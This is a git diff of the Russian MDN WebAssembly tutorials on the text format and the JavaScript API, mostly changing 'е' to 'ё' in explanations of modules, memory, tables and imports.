            Чтобы люди могли читать и редактировать код WebAssembly, существует текстовое представление двоичного формата wasm. Это промежуточная форма, предназначенная для отображения в текстовых редакторах, средствах разработки браузеров и т. д. В этой статье объясняется, как работает этот текстовый формат с точки зрения синтаксиса, как он связан с байт-кодом, который он представляет и оболочками объектов wasm в JavaScript.
            
 
 
            
-
            Примечание: Ознакомление с данной статьей может оказаться излишним, если вы веб-разработчик, который просто хочет загрузить модуль wasm на страницу и использовать его в своем коде (см. Использование WebAssembly JavaScript API). Эта статья будет наиболее полезной, если вы хотите написать несколько модулей wasm для оптимизации производительности вашей библиотеки JavaScript или создать свой собственный компилятор WebAssembly.
            
+
            Примечание: Ознакомление с данной статьёй может оказаться излишним, если вы веб-разработчик, который просто хочет загрузить модуль wasm на страницу и использовать его в своём коде (см. Использование WebAssembly JavaScript API). Эта статья будет наиболее полезной, если вы хотите написать несколько модулей wasm для оптимизации производительности вашей библиотеки JavaScript или создать свой собственный компилятор WebAssembly.
            
 
            
 
 
            S-выражения
            
 
 
            Как в двоичном, так и в текстовом форматах основным блоком кода в WebAssembly является модуль. В текстовом формате модуль представлен как одно большое S-выражение. S-выражения - это очень старый и очень простой текстовый формат для представления деревьев. И поэтому мы можем думать о модуле как о дереве узлов, которые описывают структуру модуля и его код. В отличие от абстрактного синтаксического дерева в языке программирования, дерево WebAssembly довольно плоское и состоит в основном из списков инструкций.
            
 
-
            Во-первых, давайте посмотрим, как выглядит S-выражение. Каждый узел дерева входит в пару круглых скобок - ( ... ). Первая метка в скобках сообщает вам, какой это тип узла, за ним следует разделенный пробелами список атрибутов или дочерних узлов. Давайте рассмотрим, что  означает следующее S-выражение WebAssembly:
            
+
            Во-первых, давайте посмотрим, как выглядит S-выражение. Каждый узел дерева входит в пару круглых скобок - ( ... ). Первая метка в скобках сообщает вам, какой это тип узла, за ним следует разделённый пробелами список атрибутов или дочерних узлов. Давайте рассмотрим, что  означает следующее S-выражение WebAssembly:
            
 
 
            (module (memory 1) (func))
            
 
@@ -23,7 +23,7 @@ translation_of: WebAssembly/Understanding_the_text_format
 
 
            Самый простой модуль
            
 
-
            Давайте начнем с самого простого модуля wasm.
            
+
            Давайте начнём с самого простого модуля wasm.
            
 
 
            (module)
            
 
@@ -44,7 +44,7 @@ translation_of: WebAssembly/Understanding_the_text_format
 
 
              
  
            • signature объявляет, что функция принимает (параметры) и возвращает (возвращаемые значения).
              • 
- 
            • locals похожи на переменные в JavaScript, но с определенными явными типами.
              • 
+ 
            • locals похожи на переменные в JavaScript, но с определёнными явными типами.
              • 
  
            • body - это просто линейный список низкоуровневых инструкций.
              • 
 
            
 
@@ -101,11 +101,11 @@ translation_of: WebAssembly/Understanding_the_text_format
 
 
            Стековые машины
            
 
-
            Прежде чем мы сможем написать тело функции, мы должны поговорить еще о стековых машинах. Хотя браузер компилирует wasm-код во что-то более эффективное, выполнение его определяется в терминах стековой машины, где основная идея заключается в том, что каждый тип инструкции получает или помещает определенное количество значений i32 / i64 / f32 / f64 в стек или из стека.
            
+
            Прежде чем мы сможем написать тело функции, мы должны поговорить ещё о стековых машинах. Хотя браузер компилирует wasm-код во что-то более эффективное, выполнение его определяется в терминах стековой машины, где основная идея заключается в том, что каждый тип инструкции получает или помещает определённое количество значений i32 / i64 / f32 / f64 в стек или из стека.
            
 
-
            Например, инструкция get_local предназначена для помещения значения локальной переменной, которое она считала, в стек. А инструкция i32.add получает два значения i32 (неявно получает два предыдущих значения, помещенных в стек), вычисляет их сумму и помещает назад в стек результат вычисления i32.
            
+
            Например, инструкция get_local предназначена для помещения значения локальной переменной, которое она считала, в стек. А инструкция i32.add получает два значения i32 (неявно получает два предыдущих значения, помещённых в стек), вычисляет их сумму и помещает назад в стек результат вычисления i32.
            
 
-
            Когда вызывается функция, для нее выделяется пустой стек, который постепенно заполняется и очищается при выполнении инструкций в теле функции. Так, например, после выполнения следующей функции:
            
+
            Когда вызывается функция, для неё выделяется пустой стек, который постепенно заполняется и очищается при выполнении инструкций в теле функции. Так, например, после выполнения следующей функции:
            
 
 
            (func (param $p i32)
   get_local $p
@@ -128,7 +128,7 @@ translation_of: WebAssembly/Understanding_the_text_format
 
 
            Эта функция получает два параметра, складывает их вместе и возвращает результат.
            
 
-
            Есть еще много инструкций, которые можно поместить в тело функции. Сейчас мы начнем с простых, а далее вы увидите гораздо больше примеров по мере продвижения. Полный список доступных инструкций смотрите в справочнике по семантике webassembly.org.
            
+
            Есть ещё много инструкций, которые можно поместить в тело функции. Сейчас мы начнём с простых, а далее вы увидите гораздо больше примеров по мере продвижения. Полный список доступных инструкций смотрите в справочнике по семантике webassembly.org.
            
 
 
            Вызов функции
            
 
@@ -169,7 +169,7 @@ translation_of: WebAssembly/Understanding_the_text_format
 
 
            Изучение основ
            
 
-
            Теперь, когда мы рассмотрели простейшие примеры, давайте перейдем к рассмотрению некоторых более сложных возможностей.
            
+
            Теперь, когда мы рассмотрели простейшие примеры, давайте перейдём к рассмотрению некоторых более сложных возможностей.
            
 
 
            Вызов функций из других функций в том же модуле
            
 
@@ -184,10 +184,10 @@ translation_of: WebAssembly/Understanding_the_text_format
     i32.add))
            
 
 
            
-
            Примечание: Инструкция i32.const создает 32-разрядное целое число и помещает его в стек. Вы можете поменять i32 на любой другой доступный тип данных и изменить значение на любое другое (здесь мы установили значение 42).
            
+
            Примечание: Инструкция i32.const создаёт 32-разрядное целое число и помещает его в стек. Вы можете поменять i32 на любой другой доступный тип данных и изменить значение на любое другое (здесь мы установили значение 42).
            
 
            
 
-
            В этом примере обратите внимание на секцию объявления экспорта (export “getAnswerPlus1”), которая находится сразу после объявления второй функции func. Это сокращенный способ объявления, совмещенный с именем функции, которую мы хотим экспортировать.
            
+
            В этом примере обратите внимание на секцию объявления экспорта (export “getAnswerPlus1”), которая находится сразу после объявления второй функции func. Это сокращённый способ объявления, совмещённый с именем функции, которую мы хотим экспортировать.
            
 
 
            Функционально это эквивалентно включению отдельного объявления экспорта функции без функции, в любом месте модуля, например:
            
 
@@ -201,12 +201,12 @@ translation_of: WebAssembly/Understanding_the_text_format
 });
 
 
            
-
            Примечание: Вы можете найти этот пример на GitHub как call.html (смотрите также вживую). Еще посмотрите wasm-utils.js для метода fetchAndInstantiate().
            
+
            Примечание: Вы можете найти этот пример на GitHub как call.html (смотрите также вживую). Ещё посмотрите wasm-utils.js для метода fetchAndInstantiate().
            
 
            
 
 
            Импорт функций из JavaScript
            
 
-
            Мы уже видели JavaScript, вызывающий экспортируемые функции модуля WebAssembly, но как насчет WebAssembly модуля, вызывающего функции JavaScript? WebAssembly не имеет каких либо знаний о внешнем коде JavaScript, но у него есть  способ импорта, который может принимать функции из JavaScript или wasm. Давайте посмотрим на пример:
            
+
            Мы уже видели JavaScript, вызывающий экспортируемые функции модуля WebAssembly, но как насчёт WebAssembly модуля, вызывающего функции JavaScript? WebAssembly не имеет каких либо знаний о внешнем коде JavaScript, но у него есть  способ импорта, который может принимать функции из JavaScript или wasm. Давайте посмотрим на пример:
            
 
 
            (module
   (import "console" "log" (func $log (param i32)))
@@ -214,13 +214,13 @@ translation_of: WebAssembly/Understanding_the_text_format
     i32.const 13
     call $log))
            
 
-
            В инструкции импорта в модуль WebAssembly определено двухуровневое пространство имен, в котором мы указали импортировать функцию log из модуля console. Вы также можете видеть, что экспортируемая функция logIt вызывает импортированную функцию, используя инструкцию call, о которой мы говорили ранее.
            
+
            В инструкции импорта в модуль WebAssembly определено двухуровневое пространство имён, в котором мы указали импортировать функцию log из модуля console. Вы также можете видеть, что экспортируемая функция logIt вызывает импортированную функцию, используя инструкцию call, о которой мы говорили ранее.
            
 
 
            Импортируемые функции аналогичны обычным функциям: они имеют сигнатуру, которую WebAssembly проверяет статически, им присваивается индекс (в место которого можно  присвоить имя) и их можно вызвать обычным способом.
            
 
 
            Функции JavaScript не имеют понятия сигнатуры, поэтому любую функцию JavaScript можно передать независимо от объявленной сигнатуры импорта. Если модуль объявляет импорт, вызывающая сторона (например метод {{jsxref("WebAssembly.instantiate()")}}) должна передать объект импорта, который должен иметь соответствующее свойство.
            
 
-
            Для иллюстрации вышесказанного нам нужен объект (назовем его importObject), в котором  конечное свойство importObject.console.log должно содержать функцию JavaScript.
            
+
            Для иллюстрации вышесказанного нам нужен объект (назовём его importObject), в котором  конечное свойство importObject.console.log должно содержать функцию JavaScript.
            
 
 
            Код будет выглядеть следующим образом:
            
 
@@ -264,16 +264,16 @@ WebAssembly.instantiateStreaming(fetch('logger.wasm'), importObject)
 
 
            Память WebAssembly
            
 
-
            Приведенный выше пример - довольно ужасная функция ведения журнала: она печатает только одно целое число! Что если мы хотим записать текстовую строку? Для работы со строками и другими более сложными типами данных WebAssembly предоставляет линейную память. Согласно технологии WebAssembly, линейная память - это просто большой массив байтов, который со временем может увеличиваться. WebAssembly код содержит ряд инструкций, наподобие i32.load и i32.store для чтения и записи значений из линейной памяти.
            
+
            Приведённый выше пример - довольно ужасная функция ведения журнала: она печатает только одно целое число! Что если мы хотим записать текстовую строку? Для работы со строками и другими более сложными типами данных WebAssembly предоставляет линейную память. Согласно технологии WebAssembly, линейная память - это просто большой массив байтов, который со временем может увеличиваться. WebAssembly код содержит ряд инструкций, наподобие i32.load и i32.store для чтения и записи значений из линейной памяти.
            
 
 
            Со стороны JavaScript, линейная память как будто находится внутри одного большого (расширяющегося) объекта {{domxref("ArrayBuffer")}}.
            
 
 
            Таким образом, строка - это просто последовательность байтов где-то внутри этой линейной памяти. Давайте предположим, что мы записали нужную строку байтов в память; как мы передадим эту строку в JavaScript?
            
  Ключевым моментом является то, что JavaScript может создавать экземпляры(объекты) линейной памяти WebAssembly через конструктор {{jsxref("WebAssembly.Memory()")}} и получать доступ к существующему экземпляру памяти (в настоящее время вы можете иметь только один экземпляр памяти на экземпляр модуля), используя соответствующие методы экземпляра модуля. Экземпляр памяти имеет свойство buffer, которое возвращает объект ArrayBuffer, предоставляя всю линейную память модуля.
            
 
-
            Объекты памяти могут расширятся с помощью метода Memory.grow() из JavaScript. Когда происходит расширение, текущий объект ArrayBuffer не может изменить размер и он отсоединяется. Вместо него создается новый объект ArrayBuffer, указывающий на новую, увеличенную память. Пользуясь этими возможностями можно передать строку в  JavaScript, её начальный индекс и её длину в линейной памяти.
            
+
            Объекты памяти могут расширятся с помощью метода Memory.grow() из JavaScript. Когда происходит расширение, текущий объект ArrayBuffer не может изменить размер и он отсоединяется. Вместо него создаётся новый объект ArrayBuffer, указывающий на новую, увеличенную память. Пользуясь этими возможностями можно передать строку в  JavaScript, её начальный индекс и её длину в линейной памяти.
            
 
-
            Хотя есть много разных способов кодировать длину строки в самой строке (например, как в строках в C); для простоты здесь мы просто передаем смещение и длину в качестве параметров:
            
+
            Хотя есть много разных способов кодировать длину строки в самой строке (например, как в строках в C); для простоты здесь мы просто передаём смещение и длину в качестве параметров:
            
 
 
            (import "console" "log" (func $log (param i32) (param i32)))
            
 
@@ -285,7 +285,7 @@ WebAssembly.instantiateStreaming(fetch('logger.wasm'), importObject)
   console.log(string);
 }
 
-
            Последний недостающий фрагмент головоломки - это место, где функция consoleLogString получает доступ к памяти (memory) WebAssembly. WebAssembly дает нам здесь много гибкости: либо мы можем создать объект Memory в коде JavaScript и импортировать его в модуль WebAssembly, или мы можем создать его в модуле WebAssembly и затем экспортировать в  JavaScript.
            
+
            Последний недостающий фрагмент головоломки - это место, где функция consoleLogString получает доступ к памяти (memory) WebAssembly. WebAssembly даёт нам здесь много гибкости: либо мы можем создать объект Memory в коде JavaScript и импортировать его в модуль WebAssembly, или мы можем создать его в модуле WebAssembly и затем экспортировать в  JavaScript.
            
 
 
            Для простоты, давайте создадим объект памяти в JavaScript и импортируем его в  WebAssembly модуль. Напишем следующее объявление импорта (import):
            
 
@@ -329,7 +329,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
 
 
            Чтобы завершить обзор текстового формата WebAssembly, давайте рассмотрим самую сложную и запутанную часть WebAssembly - таблицы. Таблицы - это массивы ссылок изменяемого размера, доступ к которым можно получить по индексу из кода WebAssembly.
            
 
-
            Чтобы понять, зачем нужны таблицы, нам нужно сначала обратить внимание, что инструкция call, которую мы видели ранее (см. {{anch("Вызов функций из других функций в том же модуле")}}), принимает статический индекс функции и может вызывать только определенную функцию. Но что, если вызываемый элемент будет значением, установленным во время выполнения?
            
+
            Чтобы понять, зачем нужны таблицы, нам нужно сначала обратить внимание, что инструкция call, которую мы видели ранее (см. {{anch("Вызов функций из других функций в том же модуле")}}), принимает статический индекс функции и может вызывать только определённую функцию. Но что, если вызываемый элемент будет значением, установленным во время выполнения?
            
 
 
              
  
            •     В JavaScript это делается постоянно: функции являются ссылочными значениями.
              • 
@@ -339,7 +339,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
 
 
              Для того чтобы сделать это в WebAssembly нужен был отдельный тип инструкции вызова.  Поэтому мы создали инструкцию call_indirect, которая принимает операнд динамической функции. Проблема в том, что типы данных, которые мы должны использовать в операндах в WebAssembly, в настоящее время такие: i32 / i64 / f32 / f64.
              
 
-
              Для WebAssembly можно было бы создать тип инструкции вызова  anyfunc («любой», потому что эта инструкция смогла вызвать функции любой сигнатуры), но, к сожалению, операнд этого типа не может быть сохранен в линейной памяти по соображениям безопасности. Линейная память представляет содержимое хранимых значений в виде незащищенных байтов, и это позволяет содержимому wasm произвольно читать и изменять незащищенные адреса функций, что недопустимо для веб.
              
+
              Для WebAssembly можно было бы создать тип инструкции вызова  anyfunc («любой», потому что эта инструкция смогла вызвать функции любой сигнатуры), но, к сожалению, операнд этого типа не может быть сохранён в линейной памяти по соображениям безопасности. Линейная память представляет содержимое хранимых значений в виде незащищённых байтов, и это позволяет содержимому wasm произвольно читать и изменять незащищённые адреса функций, что недопустимо для веб.
              
 
 
              Решением стало следующее. Хранить ссылки на функции в таблице и передавать вместо них индексы таблицы, которые являются просто значениями i32. Поэтому операндом инструкции call_indirect может выступить простое значение индекса i32.
              
 
@@ -413,7 +413,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
 
 
              На языке высокого уровня, таком как JavaScript эти же действия вы можете представить в виде манипуляций с массивом (или, скорее, с объектом), содержащим функции. Псевдокод будет выглядеть примерно так: tbl[i]().
              
 
-
              Итак, вернемся к проверке типов. Так как в коде WebAssembly проверяются типы, а атрибут anyfunc означает “сигнатура любой функции", мы должны предоставить предполагаемую сигнатуру в месте вызова, поэтому мы включаем тип с именем $return_i32, чтобы сообщить программе, что ожидается функция, возвращающая значение с типом i32. Если вызываемая функция не имеет соответствующей сигнатуры (скажем, вместо нее возвращается f32), выбросится исключение {{jsxref("WebAssembly.RuntimeError")}}.
              
+
              Итак, вернёмся к проверке типов. Так как в коде WebAssembly проверяются типы, а атрибут anyfunc означает “сигнатура любой функции", мы должны предоставить предполагаемую сигнатуру в месте вызова, поэтому мы включаем тип с именем $return_i32, чтобы сообщить программе, что ожидается функция, возвращающая значение с типом i32. Если вызываемая функция не имеет соответствующей сигнатуры (скажем, вместо неё возвращается f32), выбросится исключение {{jsxref("WebAssembly.RuntimeError")}}.
              
 
 
              Так как инструкция call_indirect связывается с таблицей, с которой мы вызываем функцию? Ответ заключается в том, что на данный момент для каждого экземпляра модуля разрешена только одна таблица. Поэтому инструкция call_indirect выполняет неявный вызов именно из этой таблицы. В будущем, когда будет разрешено использование нескольких таблиц, нам нужно будет указать идентификатор таблицы, например так:
              
 
@@ -453,7 +453,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
 
 
              Изменяющиеся таблицы и динамическое связывание
              
 
-
              Поскольку JavaScript имеет полный доступ к ссылкам на функции, объект таблицы может быть изменен из кода JavaScript с помощью методов grow(), get() и set(). Когда WebAssembly получит ссылочные типы, код WebAssembly сможет изменять таблицы самостоятельно с помощью инструкций get_elem / set_elem.
              
+
              Поскольку JavaScript имеет полный доступ к ссылкам на функции, объект таблицы может быть изменён из кода JavaScript с помощью методов grow(), get() и set(). Когда WebAssembly получит ссылочные типы, код WebAssembly сможет изменять таблицы самостоятельно с помощью инструкций get_elem / set_elem.
              
 
 
              Поскольку таблицы являются изменяемыми, их можно использовать для реализации сложных схем динамического связывания во время загрузки и во время выполнения. Когда программа динамически связана, несколько экземпляров могут совместно использовать линейную память и таблицу ссылок. Это похоже на поведение в обычном приложении где несколько скомпилированных .dll совместно используют адресное пространство одного процесса.
              
 
@@ -490,14 +490,14 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
 
 
                
  
              1. Функция shared0func определена в shared0.wat и сохраняется в нашей импортированной таблице.
                2. 
- 
              2. Эта функция создает константу, содержащую значение 0, затем инструкция i32.load получает значение из импортированной памяти по предоставленному константой индексу. Предоставленный  индекс равен 0. Как и другие подобные инструкции, i32.load неявно получает предоставленное значение из стека. Итак, shared0func загружает и возвращает значение, хранящееся в индексе памяти 0.
                3. 
+ 
              3. Эта функция создаёт константу, содержащую значение 0, затем инструкция i32.load получает значение из импортированной памяти по предоставленному константой индексу. Предоставленный  индекс равен 0. Как и другие подобные инструкции, i32.load неявно получает предоставленное значение из стека. Итак, shared0func загружает и возвращает значение, хранящееся в индексе памяти 0.
                4. 
  
              4. В shared1.wat мы экспортируем функцию с именем doIt - эта функция размещает в стеке  две константы, содержащие значения 0 и 42. Затем она вызывает инструкцию i32.store для сохранения предоставленного значения по предоставленному индексу в импортированной памяти. Опять же, инструкция неявно получает эти значения из стека. Поэтому в результате doIt сохраняет значение 42 в индексе памяти 0.
                5. 
- 
              5. В последней части функции создается константа со значением 0, затем вызывается  функция с этим индексом (0) из таблицы. Это будет функция shared0func модуля shared0.wat, которая ранее была размещена там с помощью секции elem.
                6. 
+ 
              6. В последней части функции создаётся константа со значением 0, затем вызывается  функция с этим индексом (0) из таблицы. Это будет функция shared0func модуля shared0.wat, которая ранее была размещена там с помощью секции elem.
                7. 
  
              7. При вызове shared0func загружает число 42, которые мы сохранили в памяти, с помощью ранее указанной инструкции i32.store в модуле shared1.wat.
                8. 
 
              
 
 
              
-
              Примечание: Вышеприведенные выражения неявно извлекают значения из стека, но вместо этого вы можете объявить их явно в вызовах инструкций, например:
              
+
              Примечание: Вышеприведённые выражения неявно извлекают значения из стека, но вместо этого вы можете объявить их явно в вызовах инструкций, например:
              
 
 
              (i32.store (i32.const 0) (i32.const 42))
 (call_indirect (type $void_to_i32) (i32.const 0))
              
diff --git a/files/ru/webassembly/using_the_javascript_api/index.html b/files/ru/webassembly/using_the_javascript_api/index.html
index 21a38cbbc4..ecc973376c 100644
--- a/files/ru/webassembly/using_the_javascript_api/index.html
+++ b/files/ru/webassembly/using_the_javascript_api/index.html
@@ -9,7 +9,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
 ---
 
              {{WebAssemblySidebar}}
              
 
-
              Если вы уже компилировали модуль из другого языка, используя такие инструменты как Emscripten, или загружали и запускали код, то следующим шагом будет углубленное изучение возможностей WebAssembly JavaScript API. Эта статья даст необходимые знания по этому вопросу.
              
+
              Если вы уже компилировали модуль из другого языка, используя такие инструменты как Emscripten, или загружали и запускали код, то следующим шагом будет углублённое изучение возможностей WebAssembly JavaScript API. Эта статья даст необходимые знания по этому вопросу.
              
 
 
              
 
              Примечание: Если вы незнакомы с фундаментальными понятиями, упомянутыми в этой статье, и вам нужны дополнительные объяснения, то вам нужно сначала прочитать про Основы WebAssembly.
              
@@ -26,8 +26,8 @@ translation_of: WebAssembly/Using_the_JavaScript_API
 
              Подготовка примера
              
 
 
                
- 
              1. Для начала нам нужен wasm-модуль! Возьмите наш файл simple.wasm и сохраните копию в новой директории на своем локальном компьютере.
                2. 
- 
              2. Далее, давайте создадим в той же директории что и wasm-модуль простой HTML-файл и назовем его index.html (можно использовать HTML шаблон если вы этого еще не сделали).
                3. 
+ 
              3. Для начала нам нужен wasm-модуль! Возьмите наш файл simple.wasm и сохраните копию в новой директории на своём локальном компьютере.
                4. 
+ 
              4. Далее, давайте создадим в той же директории что и wasm-модуль простой HTML-файл и назовём его index.html (можно использовать HTML шаблон если вы этого ещё не сделали).
                5. 
  
              5. Теперь, для того чтобы понять что происходит в коде модуля, давайте взглянем на его текстовое представление (которое мы также встречали в Перевод из текстового формата WebAssembly в wasm):
   
                (module
   (func $i (import "imports" "imported_func") (param i32))
@@ -35,7 +35,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
     i32.const 42
     call $i))
                
  
                6. 
- 
              6. Во второй строчке вы видите что import имеет двухуровневое пространство имен - внутренняя функция $i импортирована из imports.imported_func. Нам нужно создать это двухуровневое пространство имен в JavaScript-объекте, который будет импортирован в wasm-модуль. Создайте <script></script> элемент в своем HTML-файле, и добавьте следующий код:
+ 
              7. Во второй строчке вы видите что import имеет двухуровневое пространство имён - внутренняя функция $i импортирована из imports.imported_func. Нам нужно создать это двухуровневое пространство имён в JavaScript-объекте, который будет импортирован в wasm-модуль. Создайте <script></script> элемент в своём HTML-файле, и добавьте следующий код:
   
                var importObject = {
   imports: { imported_func: arg => console.log(arg) }
 };
                
@@ -77,7 +77,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
 
 
                Просмотр wasm в инструментах разработчика
                
 
-
                В Firefox 54+, в отладочной панели инструментов разработчика имеется возможность отображения текстового представления любого wasm-кода, включенного в веб-страницу. Для того чтобы просмотреть его, вы можете перейти на отладочную панель и нажать на пункт "wasm://".
                
+
                В Firefox 54+, в отладочной панели инструментов разработчика имеется возможность отображения текстового представления любого wasm-кода, включённого в веб-страницу. Для того чтобы просмотреть его, вы можете перейти на отладочную панель и нажать на пункт "wasm://".
                
 
 
                
 
@@ -93,7 +93,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
 
 
                Давайте исследуем эту возможность рассмотрев небольшой пример.
                
 
-
                Создайте еще одну простую HTML страницу (скопируйте HTML шаблон) и назовите её memory.html. Добавьте <script></script> элемент на страницу.
                
+
                Создайте ещё одну простую HTML страницу (скопируйте HTML шаблон) и назовите её memory.html. Добавьте <script></script> элемент на страницу.
                
 
 
                  
  
                1. 
@@ -125,7 +125,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
 
                  При превышении максимального значения, указанного при создании объекта памяти, будет выброшено исключение {{jsxref("WebAssembly.RangeError")}}. Движок использует предоставленные верхние границы для резервирования памяти заранее, что делает расширение памяти более эффективным.
                  
 
 
                  
-
                  Примечание: Так как размер объекта {{domxref("ArrayBuffer")}} неизменен, после успешного вызова метода {{jsxref("Memory.prototype.grow()")}} свойство buffer объекта памяти будет возвращать уже новый объект {{domxref("ArrayBuffer")}} (с новым размером в свойстве byteLength) и любые предыдущие объекты ArrayBuffer станут в некотором роде “отсоединенными”, или отключенными от низкоуровневой памяти, к которой они ранее относились.
                  
+
                  Примечание: Так как размер объекта {{domxref("ArrayBuffer")}} неизменен, после успешного вызова метода {{jsxref("Memory.prototype.grow()")}} свойство buffer объекта памяти будет возвращать уже новый объект {{domxref("ArrayBuffer")}} (с новым размером в свойстве byteLength) и любые предыдущие объекты ArrayBuffer станут в некотором роде “отсоединёнными”, или отключёнными от низкоуровневой памяти, к которой они ранее относились.
                  
 
                  
 
 
                  Подобно функциям, диапазоны линейной памяти могут быть импортированы или определены внутри модуля. Также, модуль имеет возможность экспортировать свою память. Это означает, что JavaScript-код может получить доступ к объекту памяти WebAssembly либо c помощью создания нового объекта через конструктор WebAssembly.Memory и передачи его в импортируемый объект, либо с помощью получения объекта памяти через экспортируемый объект (через Instance.prototype.exports).
                  
@@ -151,7 +151,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
 });
  
                  2. 
  
                2. 
-  
                  Так как модуль экспортирует свою память, которая была передана экземпляру этого модуля при его создании, мы можем наполнить ранее импортированный массив прямо в линейной памяти экземпляра модуля (mem), и вызвать экспортированную функцию accumulate() для расчета суммы значений. Добавьте следующий код, в обозначенном месте: 
                  
+  
                  Так как модуль экспортирует свою память, которая была передана экземпляру этого модуля при его создании, мы можем наполнить ранее импортированный массив прямо в линейной памяти экземпляра модуля (mem), и вызвать экспортированную функцию accumulate() для расчёта суммы значений. Добавьте следующий код, в обозначенном месте: 
                  
 
   
                  var i32 = new Uint32Array(memory.buffer);
 
@@ -164,7 +164,7 @@ console.log(sum);
                  
  
                  3. 
 
                
 
-
                Обратите внимание на то, что мы создаем представление данных {{domxref("Uint32Array")}} с помощью свойства buffer объекта памяти (Memory.prototype.buffer), а не самого объекта памяти.
                
+
                Обратите внимание на то, что мы создаём представление данных {{domxref("Uint32Array")}} с помощью свойства buffer объекта памяти (Memory.prototype.buffer), а не самого объекта памяти.
                
 
 
                Импорт памяти почти такой же как импорт функций, только вместо JavaScript функций передаются объекты памяти. Импорт памяти полезен по двум причинам:
                
 
@@ -174,14 +174,14 @@ console.log(sum);
 
            
 
 
            
-
            Примечание: Вы можете найти полную демонстрацию в файле memory.html (см. ее также вживую) — эта версия использует функцию fetchAndInstantiate().
            
+
            Примечание: Вы можете найти полную демонстрацию в файле memory.html (см. её также вживую) — эта версия использует функцию fetchAndInstantiate().
            
 
            
 
 
            Таблицы
            
 
-
            Таблица WebAssembly - это расширяемый типизированный массив ссылок, доступ к которому может быть получен из JavaScript и WebAssembly кода. Так как линейная память предоставляет расширяемый массив незащищенных байт, слишком небезопасно размещать там ссылки, так как для движка ссылка является доверенным значением, чьи байты не должны быть прочитаны или записаны кодом напрямую по причинам безопасности, переносимости и стабильности.
            
+
            Таблица WebAssembly - это расширяемый типизированный массив ссылок, доступ к которому может быть получен из JavaScript и WebAssembly кода. Так как линейная память предоставляет расширяемый массив незащищённых байт, слишком небезопасно размещать там ссылки, так как для движка ссылка является доверенным значением, чьи байты не должны быть прочитаны или записаны кодом напрямую по причинам безопасности, переносимости и стабильности.
            
 
-
            У таблиц есть тип элемента, который ограничивает тип возможной ссылки, который может быть размещен в таблице. В текущей версии WebAssembly, только один тип ссылки используется в WebAssembly коде - функции - и поэтому существует только один возможный тип элемента. В следующих версиях их количество будет увеличено.
            
+
            У таблиц есть тип элемента, который ограничивает тип возможной ссылки, который может быть размещён в таблице. В текущей версии WebAssembly, только один тип ссылки используется в WebAssembly коде - функции - и поэтому существует только один возможный тип элемента. В следующих версиях их количество будет увеличено.
            
 
 
            Ссылки на функции необходимы для компиляции в таких языках как C/C++, которые имеют указатели на функции. В родной реализации C/C++, указатель на функцию представлен прямым адресом на код функции в виртуальном адресном пространстве процесса, и потому для ранее упомянутой безопасности, они не могут быть размещены прямо в линейной памяти. Вместо этого ссылки на функции размещаются в таблице, а её индексы, которые являются целыми числами могут быть размещены в линейной памяти и переданы куда угодно.
            
 
@@ -191,7 +191,7 @@ console.log(sum);
 
 
            Пример таблицы
            
 
-
            Давайте взглянем на простой пример таблицы - модуль WebAssembly, который создает и экспортирует таблицу с двумя элементами: элемент под индексом 0 возвращает 13, а элемент под индексом 1 возвращает 42.
            
+
            Давайте взглянем на простой пример таблицы - модуль WebAssembly, который создаёт и экспортирует таблицу с двумя элементами: элемент под индексом 0 возвращает 13, а элемент под индексом 1 возвращает 42.
            
 
 
              
  
            1. 
@@ -224,7 +224,7 @@ console.log(tbl.get(1)());  // 42
 
              Этот код получает доступ к каждой ссылке на функцию, которая размещена в таблице, после чего вызывает её и выводит хранимое значение в консоль. Обратите внимание, что каждая ссылка на функцию получена с помощью вызова метода Table.prototype.get(), после чего мы добавили пару круглых скобок для вызова самой функции.
              
 
 
              
-
              Примечание: Вы можете найти нашу полную демонстрацию в файле table.html (см. ее также вживую) — эта версия использует функцию fetchAndInstantiate().
              
+
              Примечание: Вы можете найти нашу полную демонстрацию в файле table.html (см. её также вживую) — эта версия использует функцию fetchAndInstantiate().
              
 
              
 
 
              Глобальные переменные
              
-- 
cgit v1.2.3-54-g00ecf